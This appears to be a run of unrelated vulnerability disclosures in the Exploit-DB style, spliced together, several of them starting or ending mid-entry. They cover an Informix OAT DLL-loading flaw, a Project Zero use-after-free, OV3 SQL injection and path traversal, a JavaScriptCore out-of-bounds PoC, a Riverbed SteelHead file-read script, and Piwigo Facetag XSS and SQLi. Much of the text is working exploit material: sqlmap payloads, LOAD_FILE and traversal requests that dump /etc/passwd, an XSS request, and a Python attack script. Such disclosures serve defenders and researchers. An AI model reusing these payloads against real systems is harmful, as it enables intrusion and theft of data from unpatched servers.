    $server->setClass("adminapiServer");
     if (isset($HTTP_RAW_POST_DATA)) {
        $request = $HTTP_RAW_POST_DATA;
    } else {
        $request = file_get_contents('php://input');
    }
    //error_log($request);
    //error_log(var_export($server,true));
    $server->handle($request);
?>
...
```

There is no check before handling request.

Let’s look into the createSBSpace() method from C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\adminapiServer.php


```
...
function createSBSpace( $connectionObj,$dbsname,$path,$size,$offset
                             ,$mpath="",$moffset="" )
    {

        if (!dbsname)
        {
            throw new SoapFault("createSBSpace","missing param dbsname");
        }

        if (!path)
        {
            throw new SoapFault("createSBSpace","missing param path");
        }

        if (!size)
        {
            throw new SoapFault("createSBSpace","missing param size");
        }

        if (!offset)
        {
            throw new SoapFault("createSBSpace","missing param offset");
        }

        $qry = "execute function ".ADMIN_API_FUNCTION." ('create sbspace' ";
        $qry .= ",'{$dbsname}'";
        $qry .= ",'{$path}'";
        $qry .= ",'{$size}'";
        $qry .= ",'{$offset}'";

        if ( $mpath )
        {
            $qry .= ",'{$mpath}'";

            if ( $moffset )
            {
                $qry .= ",'{$moffset}'";
            }
        }

        $qry .= ")";

        return $this->doDatabaseWork($connectionObj,$qry); <----------------------- [1]
    } // end createSBSpace
...
```

at [1] doDatabaseWork() is called with a controlled $connectionObj parameter.

```
...
/**
     * doDatabaseWork
     *  connectionObj = the connection details.
     *  qry = the query to execute
     */
    function doDatabaseWork($connectionObj,$qry)
    {
        require_once("soapdb.php");

        $host       = $connectionObj->host;
        $port       = $connectionObj->port;
        $servername = $connectionObj->servername;
        $user       = $connectionObj->user;
        $pass       = $connectionObj->password;
        $protocol   = $connectionObj->protocol;
        $dbname     = "sysadmin";

        $db = new soapdb($host,$port,$servername,$protocol,$dbname,$user,$pass); <-------------------------------- [2]
        $stmt = $db->query($qry);

        while ($row = $stmt->fetch() )
        {
            $ret = implode("|",$row);
        }
        return $ret;
    } // end doDatabaseWork
...
```

At [2] the ‘soapdb‘ class is instantiated with controlled parameters

__construct() method from C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\soapdb.php


```
...
/* function __construct
 * constructor
 */

      function __construct($host,$port,$servername,$protocol="onsoctcp",$dbname="sysmaster",$user="",$passwd="")
      {

  #$persist = array( PDO::ATTR_PERSISTENT => false);
  $persist = array( PDO::ATTR_PERSISTENT => true);
  putenv("INFORMIXCONTIME=3");
  putenv("INFORMIXCONRETRY=1");

$informixdir= getenv("INFORMIXDIR");
$dsn = <<<EOF
informix:host={$host};service={$port};database={$dbname};server={$servername};protocol={$protocol}; <------------------------------ [3]
EOF;

      try {
          parent::__construct($dsn,$user,utf8_decode($passwd),$persist); <---------------------------- [4]
      } catch(PDOException $e) {
               throw new SoapFault("Connection Failed:","DSN:{$dsn} ERROR:{$e->getMessage()}");
      }

      } #end ___construct
...
```

at [3] a connection string is concatenated with user-controlled parameters

at [4] PDO::__construct() is called, then the dll is loaded by the Apache process.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1259

In JsRuntimeState::setCaller, it saves the current caller in the JsRuntimeState object(rcx+158h in 64-bit). But the garbage collector doesn't mark this saved value. So it results in a UAF.

Unlike in our test environment(Linux), it doesn't make reliable crashes on Windows. So I used another bug(#1258) to confirm the bug. If the UAF bug doesn't exist, the "crash" function will not be called(See poc.js).

The password of the zip file is "calleruaf"


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42092.zip
            
OV3 Online Administration 3.0 Multiple Unauthenticated SQL Injection Vulnerabilities


Vendor: novaCapta Software & Consulting GmbH
Product web page: http://www.meacon.de
Affected version: 3.0

Summary: With the decision to use the OV3 as a platform for your data management,
the course is set for scalable, flexible and high-performance applications. Whether
you use the OV3 for your internal data management or use it for commercial business
applications such as shops, portals, etc. Thanks to the data-based structure of the
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
tool. This eliminates the need to install a new software on all participating client
computers. All elements are operated by a standard browser. Further advantages are
the location-dependent use and - particularly with ASP solutions - the reduced costs
for local hardware like own servers and modern client workstations.

Desc: OV3 suffers from multiple SQL Injection vulnerabilities. Input passed via multiple
GET and POST parameters, including the User-Agent HTTP header, is not properly sanitised
before being returned to the user or used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


Tested on: CentOS release 6.8 (Final)
           PHP/5.3.3
           Apache/2.2.15
           MySQL/5.0.11


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5412
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5412.php


26.12.2016

--

The application is using some functions for escaping special characters and boolean checks,
but in many scripts there are plenty of vulnerabilities identified.

One of the vulnerable variables is "u_id" which is called via the login POST parameter.
When visiting the application, ov3.php gets loaded as main index which includes session.inc
file that contains the admin functions and the main functions for session management.

============================================================================================
/ov3.php:
---------

21: if(db_connect()!=false){
22: 	include($ov3_path."admin/session_management/session.inc");
23: 	include($ov3_path."admin/functions/functions.inc");
24:
25: 	// Escapen wichtiger Variablen
26: 	$sid = addslashes($sid);
27: 	$lang = addslashes($lang);
28:
29: 	// Session ueberpruefen bzw. anlegen
30: 	$u_info=check_session($sid);

============================================================================================


The vulnerabilities can be triggered in four session functions: new_session(), check_session(),
session_info() and check_login(). The db_exec() result query on line 22 or 74 is not using safe
functions when using the HTTP_USER_AGENT for parsing the User-Agent HTTP header contents.

============================================================================================
/admin/session_management/session.inc:
--------------------------------------

18: function check_session($sid){
19: 	global $no_ip, $ip_check, $db,$OV_SESSION_NO_IP;
20:
21: 	if($sid==""){return -2;} // keine SID geliefert
22: 	$result=db_exec("SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".addslashes($sid)."' and user_agent=".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."'", __FILE__, __LINE__);
23: 	if(db_rows($result)!=1){return -1;}
24: 	// Session existiert
25: 	$data = db_fetch_array($result,"");
26: 	db_free($result);
27: 	unset($result);
28: 	if($data["s_valid_time"] < time()){return -3;}// Session Zeit abgelaufen
29: 	if(!isset($OV_SESSION_NO_IP) || !$OV_SESSION_NO_IP[$data['c_id']]===true){
30: 		// IP check
31: 		$nFirstThreeBytes = strrpos(getenv ("REMOTE_ADDR"),".");
32: 		//echo substr($data['ip_addr'],0,$nFirstThreeBytes)." ".substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes);
33: 		if(substr($data['ip_addr'],0,$nFirstThreeBytes) != substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes)){
34: 			return -4;	// ip stimmt nicht
35: 		}
36: 	}
37: 	touch_session($sid);
38: 	return $data;
39: }
....
....
60: function new_session() {
61: 	global $session_time, $db;
62:
63: 	// microtime ist nur uf Unix Systemen verfuegbar. sonst: time()
64: 	if (OV_DEBUG==false) {
65: 		srand(microtime() * 1000000);
66: 		$sid=md5(uniqid(rand()));
67: 	} else {
68: 		$sid = $_GET['temp_sid'];
69: 		db_exec("DELETE FROM ov_sessions WHERE sid='".$_GET['temp_sid']."'");
70: 	}
71:
72: 	$time=time();
73:
74: 	db_exec("INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values (".$db[DB_SYSTEM]['uc_prefix']."'".$sid."', $time, ".($time+$session_time).", ".$db[DB_SYSTEM]['uc_prefix']."'".getenv("REMOTE_ADDR")."', ".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."')", __FILE__, __LINE__);
75:
76: 	unset($time);
77: 	return $sid;
78: }

============================================================================================


The following PoC request demonstrates the issue:

GET /ov3.php?todo=manager&manager=home&sub=profile&mode=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close


Response:

HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2400
Connection: close
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0''' at line 1<br>SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid='ba2211a30f4d1b395ca5c987eda4TEST' and user_agent='ZSL/3.0''<br>File: /opt/www/admin/session_management/session.inc<br>Line: 22<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0'')' at line 1<br>INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values ('78bed236c22de53aa235a2978bfad608', 1487616926, 1487624126, '127.0.0.1', 'ZSL/3.0'')<br>File: /opt/www/admin/session_management/session.inc<br>Line: 74


Going back to other parameters, multiple vectors available:

============================================================================================
/admin/session_management/session.inc:
--------------------------------------

90: function session_info($sid,$value){
91: 	global $u_id, $db;
92:
93: 	switch($value){
94: 		case "admin":
95: 		$result=db_exec("SELECT c_id,u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
96: 		$session_array=db_fetch_assoc($result,"");
97: 		$ret=$session_array["c_id"]."/".$session_array["u_id"];
98: 		break;
99: 	case "client":
100: 		$result=db_exec("SELECT client_auth FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
101: 		list($ret)=db_fetch_row($result,"");
102: 		break;
103: 	case "time":
104: 		$result=db_row("SELECT s_time FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'");
105: 		list($ret)=db_fetch_row($result,"");
106: 		break;
107: 	case 'ip':
108: 		$result=db_exec("SELECT ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
109: 		list($ret)=db_fetch_row($result,"");
110: 		break;
111: 	case  'u_id':
112: 		$result=db_exec("SELECT u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
113: 		list($ret)=db_fetch_row($result,"");
114: 		break;
115: 	case  'c_id':
116: 		$result=db_exec("SELECT c_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
117: 		list($ret)=db_fetch_row($result,"");
118: 		break;
119: 	case  'login':
120: 		$ret=session_info($sid, "u_id");
121: 		$result=db_exec("SELECT u_name FROM ov_adminusers WHERE u_id=".$ret, __FILE__, __LINE__);
122: 		list($ret)=db_fetch_row($result,"");
123: 		break;
....
....
279: function check_login($sid,$login,$pwd){
280: 	global $browser, $system, $ver, $lang, $login_mess, $gui, $sn_cl, $db;
281:
282: 	// Check, ob browser ueberhaupt akzeptabel
283: 	$browser_ok = db_get_val("SELECT admin_browser_ok FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'");
284:
285: 	if($browser_ok!=1){
286: 		$ret=false;
287: 		$login_mess=$gui["login"]["browser_zu_alt"];
288: 	} else {
289: 		if(empty($login) && empty($pwd)){
290: 			$ret=false;
281: 			$login_mess=$gui["login"]["fehlt_name_und_pwd"];//"Bitte Loginname und Passwort eingeben";
282: 		} elseif(empty($login)){
283: 			$ret=false;
284: 			$login_mess=$gui["login"]["fehlt_name"];//"Bitte Loginname eingeben";
285: 		} elseif(empty($pwd)){
286: 			$ret=false;
287: 			$login_mess=$gui["login"]["fehlt_pwd"];//"Bitte Passwort eingeben";
288: 		} else{
289: 			$sql="SELECT ".db_convert("limit0",""," 1")." c_id,u_id,u_pwd,u_logtime FROM ov_adminusers WHERE u_name=".$db[DB_SYSTEM]['uc_prefix']."'".$login."' and (active=1 or active=-2) ".db_convert("limit1",""," 1");
290: 			$result=db_exec($sql, __FILE__, __LINE__);

============================================================================================


PoC request using sqlmap LOAD_FILE(/etc/passwd):
------------------------------------------------

POST /ov3.php?todo=login&admin=login&sid=93be715421fafd53acfa1e90aa4dTEST&stamp=1234567890&lang=de HTTP/1.1
Origin: http://127.0.0.1
Content-Length: 373
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip, deflate
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Dnt: 1
Connection: close
Cache-Control: max-age=0
User-Agent: ZSL/3.0
Content-Type: application/x-www-form-urlencoded

login=sql' AND (SELECT 9673 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20)),1,54)),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yoVM&pwd=test&browser=ns&ver=6&system=mac


Output:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
...


Output from sqlmap:
-------------------

# python sqlmap.py -r request.txt --dbms=MySQL -f --hostname -p login --tor --time-sec=15

[*] starting at 00:36:07

[00:36:07] [INFO] parsing HTTP request from 'request.txt'
[00:36:07] [INFO] setting Tor SOCKS proxy settings
[00:36:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: login (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: login=sql' RLIKE (SELECT (CASE WHEN (2881=2881) THEN 0x73716c ELSE 0x28 END))-- pMGL&pwd=test&browser=ns&ver=6&system=mac

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: login=sql' AND (SELECT 4371 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(4371=4371,1))),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jFHk&pwd=test&browser=ns&ver=6&system=mac

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: login=sql' OR SLEEP(15)-- iSlp&pwd=test&browser=ns&ver=6&system=mac
---
[00:36:08] [INFO] testing MySQL
[00:36:08] [INFO] confirming MySQL
[00:36:08] [INFO] the back-end DBMS is MySQL
[00:36:08] [INFO] actively fingerprinting MySQL
[00:36:14] [INFO] executing MySQL comment injection fingerprint
[00:36:15] [WARNING] unable to perform MySQL comment injection
web server operating system: Linux CentOS 6.8
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.19
[00:36:15] [INFO] fetching server hostname
[00:36:15] [INFO] resumed: zslab.local
hostname:    'zslab.local'
[00:36:15] [INFO] fetched data logged to text files under '/Users/thricer/.sqlmap/output/zslab.local'

[*] shutting down at 00:36:15

#


Another example using the "ls[typedef]" POST parameter:

============================================================================================
/admin/manager/media/display.inc:
---------------------------------

268: 		$result=db_exec($sql." ".$sortby, __FILE__, __LINE__);

============================================================================================

Request:

POST /ov3.php?todo=manager&manager=media&sub=display&show=1&ls[small]=&ls[iname]=&ls[size]=&ls[editkey]=&ls[width]=&ls[height]=&ls[mwidth]=&ls[mheight]=&ls[typedef]=*** SQL INJECT ***&ls[edit]=&ls[ov_edit]=&ls[scheme]=&ls[language_id]=&ls[search]=&ls[dsearch]=&ls[type]=&ls[context]=&ls[preview]=&ls[module]=&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
Host: 127.0.0.1
Content-Length: 128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896
DNT: 1
Connection: close

rs%5Bsearch%5D=ab&rs%5Bdsearch%5D=&rs%5Btype%5D=&rs%5Bcontext%5D=&rs%5Bmodule%5D=&rs%5Bscheme%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D=


Response:

HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7154
Connection: close
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' ORDER BY file_name ASC' at line 1<br>SELECT params, media_data_1337.locked, media_data_1337.locked_by, id, media_data_1337.changed, type, file_internal, file_name, size, media_data_1337.description,copyright,scheme_id,instances FROM media_data_1337   WHERE (file_name LIKE '%ab%' OR file_internal LIKE '%ab%') and  type=''' ORDER BY file_name ASC<br>File: /opt/www/admin/manager/media/display.inc<br>Line: 268<br><html>



POST parameters "rs[module]", "rs[path]" and "rs[edit_id]" via /admin/functions/functions.inc on line 499 also
allows the attacker to easily break out of the query by using the single quote character getting a detailed sql
syntax error disclosing the file path and table names:

499: 		$result=db_exec("SELECT COUNT(*) AS num FROM tasklists_".$c_id." WHERE (tl_pos=0 AND m_id=".$module." AND language_id='".$language_id."') OR (tl_pos=0 AND m_id=-1)", __FILE__, __LINE__);


Request:

POST /ov3.php?todo=manager&manager=task&sub=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
Host: 127.0.0.1
Content-Length: 115
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896
DNT: 1
Connection: close

rs%5Bstatus%5D=0&rs%5Bmodule%5D='&rs%5Btask_language%5D=&rs%5Bpath%5D=&rs%5Bsmall%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D=


Response:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_multilingual FROM ov_data WHERE m_id=\'<br>File: <br>Line: <br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND language_id='') OR (tl_pos=0 AND m_id=-1)' at line 1<br>SELECT COUNT(*) AS num FROM tasklists_5575 WHERE (tl_pos=0 AND m_id=\' AND language_id='') OR (tl_pos=0 AND m_id=-1)<br>File: /opt/www/admin/functions/functions.inc<br>Line: 499<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_name FROM ov_data WHERE m_id=\'<br>File: <br>Line:


PoC SQL Injection via GET requests:
-----------------------------------

GET /ov3.php?todo=manager&manager=task&sub=show&rs[status]=2&rs[module]='&rs[path]=&rs[changed]=0&&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1

GET /ov3.php?todo=manager&manager=user&sub=profile&do=show&rs[edit_id]=1483825'&rs[home]=1&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1165

Here's a snippet of JSObject::ensureLength.

bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
{
    ASSERT(length < MAX_ARRAY_INDEX);
    ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));

    bool result = true;
    if (m_butterfly.get()->vectorLength() < length)
        result = ensureLengthSlow(vm, length);
        
    if (m_butterfly.get()->publicLength() < length)
        m_butterfly.get()->setPublicLength(length);
    return result;
}

|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.

Tested on Linux.

PoC:
*/

const kArrayLength = 0x200000;

let arr = new Array(kArrayLength);
arr.fill({});

let exh = [];
try {
    for (;;) {
        exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
    }
} catch (e) {
}

try {
    arr.length *= 8;
    print('failed');
} catch (e) {
    print(e);

    exh = null;

    print('arr length: ' + arr.length.toString(16));
    for (let i = kArrayLength, n = arr.length; i < n; i++) {
        if (arr[i])
            print(arr[i]);
    }
}
            
# Exploit title : Arbitry file reading by authenticated users on Riverbed SteelHead VCX
# Vendor: Riverbed
# Author: Gregory DRAPERI <gregory.draper_at_gmail.com>
# Date: 03/2017
# Software Link: https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html
# Version: SteelHead VCX (VCX255U) (x86_64) 9.6.0a
import sys
import requests


def exploit(address, login, password,file):
    s = requests.Session()
    url = address
    try:
        r1 = s.get(url+"/login?next=/");
        cookies = requests.utils.dict_from_cookiejar(s.cookies);
        csrf = cookies["csrftoken"]
        authentication = {'csrfmiddlewaretoken': csrf, '_fields': "{\"username\":\""+login+"\",\"password\":\""+password+"\",\"legalAccepted\":\"N/A\",\"userAgent\":\"\"}"}
        r2 = s.post(url+"/login?next=/",  data=authentication)
        r3 = s.get(url+"/modules/common/logs?filterStr=msg:-e .* /etc/passwd ")
        print r3.text

    except Exception as e:
        print "\n! ERROR: %s" % e
    return False



if len(sys.argv) < 4:
    print "Usage: exploit.py <target> <login> <password> <file>\n"
    print "Example: exploit.py http://192.168.1.2 admin password /etc/passwd\n"
    quit()
target = sys.argv[1]
login = sys.argv[2]
password = sys.argv[3]
file = sys.argv[4]
exploit(target,login,password,file)
            
# Exploit Title: Piwigo plugin Facetag , Persistent XSS 
# Date: 31-05-2017
# Extension Version: 0.0.3
# Software Link: http://piwigo.org/basics/downloads
# Extension link : http://piwigo.org/ext/extension_view.php?eid=845
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps


######## Description ########
<!--
	What is Piwigo ?
	Piwigo is photo gallery software for the web, built by an active community of users and developers.Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and open source.

	Facetag Extension in piwigo.
	This plugin extends piwigo with the function to tag faces in pictures. It adds an additional button on photo pages that let you tag a face on the picture.
-->

######## Video PoC and Article ########

https://www.youtube.com/watch?v=_ha7XBT_Omo
http://touhidshaikh.com/blog/poc/facetag-ext-piwigo-stored-xss/



######## Attact Description  ########
<!--

	Facetag Extention provide additional button on photo page for visitor or user to tag any name oh that image.


NOTE : "www.test.touhid" this domain not registed on internet. This domain host in  touhid's local machine.

==>START<==
Any visitor or registered user can perform this.

FaceTag Extension adds an additional button on photo pages that let you tag a face on the picture for visitor and registered user.

click on that button after that click on image where you want to tag a name just enter you malicious javascript and press Enter its stored as a keyword. 

Your Javascript Stored in Server's Database and execute every time when any visitor visit that photo or in keyword page.

-->

######## Proof of Concept ########



-----------------------------OUR REQUEST--------------
POST /ws.php?format=json&method=facetag.changeTag HTTP/1.1
Host: www.test.touhid
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.test.touhid/picture.php?/12/category/3
Content-Length: 129
Cookie: pwg_id=9i94hdpsn2dfulaecm6hqvsj77
Connection: close
Pragma: no-cache
Cache-Control: no-cache

id=-2&imageId=12&name=Hello%3Cscript%3Eprompt(22)%3C%2Fscript%3E&top=0.40539324471120086&left=0.4577020202020202&width=0&height=0

---------------------------END HERE---------------------------

Stored in database.(SQl query to stored tag in dataabase)
-------------------ws_function.php(facetag plugin)--------------

function facetag_changeTag($params, &$service) {
	if (!$service->isPost()) {
      return new PwgError(405, "This method requires HTTP POST");
    }
	
	$id = $params['id'];
	
	$answer = array();
	if($id < 0) {
		$answer['action'] = "INSERT";
		$answer['id'] = addImageFaceTag($params['imageId'], $params['name'], $params['top'], $params['left'], $params['width'], $params['height']);
	} elseif($params['name'] == "__DELETE__") {
		$answer['action'] = "DELETE";
		$answer['id'] = removeImageFaceTag($id, $params['imageId']);
	} else {
		$answer['action'] = "UPDATE";
		removeImageFaceTag($id, $params['imageId']);
		$answer['id'] = addImageFaceTag($params['imageId'], $params['name'], $params['top'], $params['left'], $params['width'], $params['height']);
	}
	
	return json_encode($answer);
}

--------------------------END HERE---------------------------
            
OV3 Online Administration 3.0 Parameter Traversal Arbitrary File Access PoC Exploit


Vendor: novaCapta Software & Consulting GmbH
Product web page: http://www.meacon.de
Affected version: 3.0

Summary: With the decision to use the OV3 as a platform for your data management,
the course is set for scalable, flexible and high-performance applications. Whether
you use the OV3 for your internal data management or use it for commercial business
applications such as shops, portals, etc. Thanks to the data-based structure of the
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
tool. This eliminates the need to install a new software on all participating client
computers. All elements are operated by a standard browser. Further advantages are
the location-dependent use and - particularly with ASP solutions - the reduced costs
for local hardware like own servers and modern client workstations.

Desc: The application (Online Verwaltung III) suffers from an unauthenticated file
disclosure vulnerability when input passed thru the 'file' parameter to 'download.php'
script is not properly verified before being used to include files. This can be exploited
to read arbitrary files from local resources with directory traversal attacks.

================================================================================
/download.php:
--------------

67: 	header("Expires: Mon, 1 Apr 1990 00:00:00 GMT");
68: 	header("Last-Modified: " . gmdate("D,d M YH:i:s") . " GMT");
69: 	/*
70: 	header("Cache-Control: no-cache, must-revalidate");
71: 	header("Pragma: no-cache");
72: 	*/
73: 	header("Pragma: "); 
74: 	header("Cache-Control: ");
75: 	header("Content-type: application/octet-stream");
76: 	header("Content-Type: application/force-download");
77: 	$dname = rawurlencode($name);
78: 	header("Content-Disposition: attachment; filename=\"$dname\";");
79:
80: 	if ($export==1) {
81:     	if (is_file($path.'/'.$file)) {
82:         	header('Content-Length: '.filesize($path.'/'.$file));
83:         	readfile($path.'/'.$file);
84:     	} elseif (is_file(utf8_decode($path.'/'.$file))) {
85:         	header('Content-Length: '.filesize(utf8_decode($path.'/'.$file)));
86:         	readfile(utf8_decode($path.'/'.$file));
87:     	}
88: 	}

================================================================================

Tested on: CentOS release 6.8 (Final)
           PHP/5.3.3
           Apache/2.2.15
           MySQL/5.0.11


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5410
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5410.php


26.12.2016

---


GET /download.php?c_id=557&file=../../../../../../../../../../../etc/passwd&name=download.txt HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close

--

HTTP/1.1 200 OK
Date: Tue, 27 Dec 2016 12:24:10 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Mon, 1 Apr 1990 00:00:00 GMT
Last-Modified: Tue,27 Dec 201612:24:10 GMT
Pragma: 
Cache-Control: 
Content-Disposition: attachment; filename="download.txt";
Content-Length: 0
Connection: close
Content-Type: application/force-download

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
...



The application ships with a phpinfo() file "m_info.php" by default in the web root directory:

http://127.0.0.1/m_info.php

Possibly exploitable for code execution using the PHP LFI to RCE method by Gynvael Coldwind,
extended by Brett Moore:

 - http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
 - https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
            
# Exploit Title: Facetag Extension in Piwigo, Multiple SQL injection 
# Date: 30-05-2017
# Extension Version: 0.0.3
# Software Link: http://piwigo.org/basics/downloads
# Extension link : http://piwigo.org/ext/extension_view.php?eid=845
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps


######## Description ########
<!--
	What is Piwigo ?
	Piwigo is photo gallery software for the web, built by an active community of users and developers.Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and open source.

	Facetag Extension in piwigo.
	This plugin extends piwigo with the function to tag faces in pictures. It adds an additional button on photo pages that let you tag a face on the picture.
-->

